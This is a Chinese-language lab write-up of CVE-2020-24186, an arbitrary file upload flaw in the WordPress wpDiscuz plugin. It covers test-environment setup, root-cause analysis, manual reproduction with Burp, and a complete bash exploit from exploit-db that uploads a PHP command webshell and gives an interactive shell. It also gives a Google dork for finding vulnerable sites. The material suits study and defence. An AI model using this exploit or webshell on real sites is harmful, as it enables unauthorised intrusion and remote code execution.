天天看點

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

0x00 漏洞介紹

Wordfence的威脅情報團隊在一款名叫wpDiscuz的Wordpress評論插件(wpDiscuz是WordPress功能豐富的評論系統插件,可充實網站評論部分)中發現了一個高危漏洞,此漏洞将允許未經認證的攻擊者在目标站點中上傳任意檔案,進而實作遠端代碼執行。

0x01 漏洞環境

WordPress的gVectors wpDiscuz插件7.0至7.0.4版本中存在遠端代碼執行漏洞,允許未經驗證的使用者通過wmuUploadFiles Ajax操作上傳任何類型的檔案,包括PHP檔案。

  • 攻擊機:192.168.91.135 kali-2021
  • 目标機:192.168.91.1 windows10 phpstudy8.1.1.3
  • 工具:火狐浏覽器、BurpSuite 2021
  • CMS與插件版本:Wordpress5.4.1、wpDiscuz7.0.4

0x02 漏洞搭建

Wordpress5.4.1下載下傳位址

https://cn.wordpress.org/wordpress-5.4.1-zh_CN.tar.gz
           

wpDiscuz7.0.4+7.0.3下載下傳位址(需T1Z1)

https://downloads.wordpress.org/plugin/wpdiscuz.7.0.4.zip
https://downloads.wordpress.org/plugin/wpdiscuz.7.0.3.zip	#7.0.3也可以下載下傳,但是用不了github上的EXP!!下文會提到!!
           

phpstudy搭建wordpress

1、phpstudy啟動web服務,建立網站,将下載下傳的wordpress放入這裡。建立網站的同時,可以建立一個資料庫,記住資料庫的名字、使用者和密碼,下面的步驟需要用到。

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

2、将

wpdiscuz 7.0.3

放到\wordpress\wp-content\plugins目錄下,還有個

7.0.4

,之後說一下。

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

3、通路建立的網站,點選

現在就開始

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

4、填寫資料庫資訊

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

5、之後開始設定賬号密碼等

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

6、安裝成功

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

7、安裝成功後會跳轉到這個界面,輸入剛才設定的賬号密碼進入即可,賬号:

fuxian

密碼:

123@qwe

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

8、登入成功後,點選左下方的插件

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

9、可以看到就是

7.0.3版本

點選啟用即可,至此靶場全部搭建完畢

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

ubuntu-server 安裝wordpress網站

1、安裝apache2服務

apt update				
apt install apache2			#安裝apache2
systemctl status apache2	#檢視安裝後的狀态
/etc/init.d/apache2 start 或者  systemctl start system		#開啟apache2
netstat -antlp | grep -in 80	#查找80端口确定開啟
           

2、安裝Mysql服務

apt update
apt install mysql-server #安裝mysql-server
mysql --version 		#檢視版本資訊
systemctl status mysql 	#檢視mysql狀态
mysql_secure_installation	#配置mysql的安全選項,剛安裝好mysql沒有密碼,直接回車就行,設定了新密碼之後,如下
mysql -u root -p 即可進入mysql
mysql -u root 直接進入的原因是預設允許127.0.0.1直接連結。
           
CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

3、安裝php語言環境

apt install php						#預設就是安裝php7,或者直接輸入apt install php7
apt install libapache2-mod-php 	#安裝php的相關元件,如果沒有這行指令,通路網站得到的是一個空白的頁面!!!意思為php根本不解析!!!
apt install php-curl php-gd php-xml php-mbstring  php-xmlrpc php-zip php-soap php-intl				
#安裝php與mysql之間的元件,如果沒有這行指令,通路網站得到的是“您的mysql似乎沒有安裝wordpress應有元件”!!
systemctl restart mysql				#請務必重新開機一下!
systemctl restart apache2			#請務必重新開機一下!
           

4、之後通路網站就可以看到了

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

5、之後先别着急安裝,還有一步,即配置資料庫和

wp-config

建立 Wordpress運作需要的資料庫和帳号,這裡使用的資料庫名

wdpressdb

,使用者名

wpuser

,密碼

Wpuser123

可以根據自己需要修改。如果這一步不做,隻是使用預設的

root

賬号,是無法連結資料庫的。

mysql -u root -p
create database wordpress;
create user 'wpuser'@'localhost' IDENTIFIED BY 'Wpuser123.com';
GRANT ALL ON wdpressdb.* TO 'wpuser'@'localhost' IDENTIFIED BY 'Wpuser123.com';
GRANT ALL PRIVILEGES ON *.* TO 'wpuser'@'localhost';
flush privileges;
           

之後再去通路網站,會發現有一個問題,就是無法寫入,是因為沒有寫入權限。執行以下指令即可,即給其他使用者添加個寫入權限。

chmod 557 /var/www/html/wordpress	或者 chown -R www-data:www-data /var/www/html/wordpress
           
CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

6、因為是靶場,随便填寫一個郵箱,然後繼續安裝即可

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

7、安裝成功

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

坑點總結

感覺ubuntu安裝wordpress全是坑,必須要總結一下

1、ubuntu安裝apache2、mysql-server、php之後,還要安裝相關的php元件,才能支援資料庫和apache2的正常運作。安裝完元件後,記得重新開機mysql和apache。

2、腳本不要輕易相信,試試就好了,并不都是好用的。。不過可以借助前輩寫的腳本,自己更改優化一下。

0x03 漏洞範圍

  • wpDiscuz7.0.0–7.0.4

0x04 漏洞條件

wordpress插件滿足範圍即可

0x05 漏洞原理

1、首先通過抓包發現點選評論區的圖檔後,是向

admin-ajax.php

送出

POST

請求。

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

2、分析

admin-ajax.php

,追溯到

wp-admin/includes/ajax-actions.php

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

3、這裡商場竄的檔案名稱會通過

wp_check_filetype_and_ext

來校驗,随後将校驗的結果賦予給

$wp_filetype

變量,之後再通過

wp_match_mime_types

進行校驗檔案類型。不符合就不允許上傳,對

MIME-TYPE

校驗不完整、嚴格,同時沒有對檔案頭資訊進行白名單比對,可以輕易更改

MIME-TYPE

image/jpg

、檔案頭為

GIF89A

繞過。

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

4、全局搜尋一下

wp_match_mime_types

wp_check_filetype_and_ext

,看看到底這兩個函數有什麼作用。

apply_filters

建立過濾器,是

wordpress

中非常重要的函數

apply_filters( $tag, $value, $var... );

$tag

定義過濾器名稱(必須),

$value

需要過濾的值(必須),

$var

(可選字段),傳給過濾函數額外的變量參數,輔助過濾函數對傳回值進行操作,可以添加無限個。

#wp_match_mime_types位于/wp-includes/functions.php的2794行到2973行。
#這裡取2823-2832行,還有很多行的MIME-TYPE種類校驗。
$mime_to_ext = apply_filters(				
				'getimagesize_mimes_to_exts',	
				array(
					'image/jpeg' => 'jpg',
					'image/png'  => 'png',
					'image/gif'  => 'gif',
					'image/bmp'  => 'bmp',
					'image/tiff' => 'tif',
				)
			);
           

0x06 漏洞複現

手動複現

1、進入一篇文章的評論處,點選圖檔标簽。

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

2、上傳一個

shell.jpg

檔案,此檔案是

shell.php

更改了字尾的,再利用

BurpSuite

抓包

3、修改包的這兩處位置,就是一個簡單的檔案頭繞過

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

4、在響應包中擷取上傳檔案的路徑

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

5、複制下來直接粘貼到網頁上,傳個系統指令參數是可以的。

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

6、若要連結蟻劍,将上傳檔案的路徑複制下來,需要去掉URL轉義符号如下,然後打開蟻劍,粘貼上去,連結成功

http:\/\/192.168.91.137\/wordpress\/wp-content\/uploads\/2022\/01\/shell-1642067533.474.php
http://192.168.91.137/wordpress/wp-content/uploads/2022/01/shell-1642067533.474.php
           
CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

EXP複現

前方是我踩坑的地方,有興趣可以看看,借鑒借鑒

1、先從簡單的開始,此項目github有exp,下載下傳。可以看到,這個exp隻能适用于

7.0.4

的!

proxychains git clone https://github.com/h3v0x/CVE-2020-24186-WordPress-wpDiscuz-7.0.4-RCE
proxychains git clone https://github.com/sukusec301/CVE-2020-24186-WordPress-wpDiscuz-7.0.4-RCE  #備份
           
CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

之前我安裝的

7.0.3

不适用,可以成功上傳,但是無法執行指令。

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

2、重新安裝了個

7.0.4

版本的,然後重新測試一下,确實可以,但是吧,這個路徑給你硬生生改成了http://127.0.0.1:9090。。。

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

3、最奇葩的是,後來我自己又裝了一個ubuntu的測試了一下,如下圖,就根本使用不了了。。。各種無語。看來工具還是自己寫比較靠譜,既然用不了,就可以把github上的這個py腳本記錄下來,以後自己重新編寫一下。。。。

CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞

0x07 漏洞修複

更新wpDiscuz版本。

https://downloads.wordpress.org/plugin/wpdiscuz.7.0.7.zip
           

在此版本中,

isAllowedFileType

函數中對

extension

字尾進行了檢測,當MIME與字尾不一樣時會在進入最後一步之前傳回False,也就是說使用MIME的白名單來對上傳檔案的字尾進行了限制。

0x08 漏洞POC+EXP分析

下面這個EXP來源:https://www.exploit-db.com/exploits/49962,有時間研究一下

# Exploit Title: WordPress Plugin wpDiscuz 7.0.4 - Arbitrary File Upload (Unauthenticated)
# Google Dork: inurl:/wp-content/plugins/wpdiscuz/
# Date: 2021-06-06
# Original Author: Chloe Chamberland 
# Exploit Author: Juampa Rodríguez aka UnD3sc0n0c1d0
# Vendor Homepage: https://gvectors.com/
# Software Link: https://downloads.wordpress.org/plugin/wpdiscuz.7.0.4.zip
# Version: 7.0.4
# Tested on: Ubuntu / WordPress 5.6.2
# CVE : CVE-2020-24186

#!/bin/bash

if [ -z $1 ]
then
  echo -e "\n[i] Usage: exploit.sh [IP] [/index.php/2021/06/06/post]\n"
  exit 0
elif [ -z $2 ]
then
  echo -e "\n[i] Usage: exploit.sh [IP] [/index.php/2021/06/06/post]\n"
  exit 0
else

post=$(curl -sI http://$1$2/ | head -n1)

if [[ "$post" == *"200 OK"* ]]; then
    wmu_nonce=$(curl -s http://$1$2/ | sed -r "s/wmuSecurity/\nwmuSecurity/g" | grep wmuSecurity | cut -d '"' -f3)
    webshell=$(curl -isk -X 'POST' -H 'X-Requested-With: XMLHttpRequest' -H 'Content-Type: multipart/form-data; boundary=---------------------------WebKitFormBoundaryUnD3s' --data-binary $'-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"action\"\x0d\x0a\x0d\x0awmuUploadFiles\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"wmu_nonce\"\x0d\x0a\x0d\x0a'$wmu_nonce$'\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"wmuAttachmentsData\"\x0d\x0a\x0d\x0aundefined\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"wmu_files[0]\"; filename=\"a.php\" Content-Type: image/jpeg\x0d\x0a\x0d\x0aGIF8\x0d\x0a<?php\x0d\x0aif(isset($_REQUEST[\'cmd\'])){\x0d\x0a        $cmd = ($_REQUEST[\'cmd\']);\x0d\x0a        system($cmd);\x0d\x0a        die;\x0d\x0a}\x0d\x0a?>\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"postId\"\x0d\x0a\x0d\x0a18\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s--\x0d\x0a' http://$1/wp-admin/admin-ajax.php | sed 's/\":"\http/\nhttp/g' | grep "http\:\\\\/" | cut -d '"' -f1 | sed 's/\\//g')

    echo -e "\nWebshell:" $webshell"\n"
    echo -e "--------------WIN--------------"
    echo -e "        ¡Got  webshell!        "
    echo -e "-------------------------------\n"
    while :
    do
  read -p '$ ' command
  curl -s $webshell?cmd=$command | grep -v GIF8
done
else
    echo -e "\n[!] The indicated post was not found\n"
fi
fi
           

0x09 漏洞挖掘與實戰

Google Dork

: inurl:/wp-content/plugins/wpdiscuz/

0x10 Reference

https://cloud.tencent.com/developer/article/1709890?from=article.detail.1843895

https://www.exploit-db.com/exploits/49962

繼續閱讀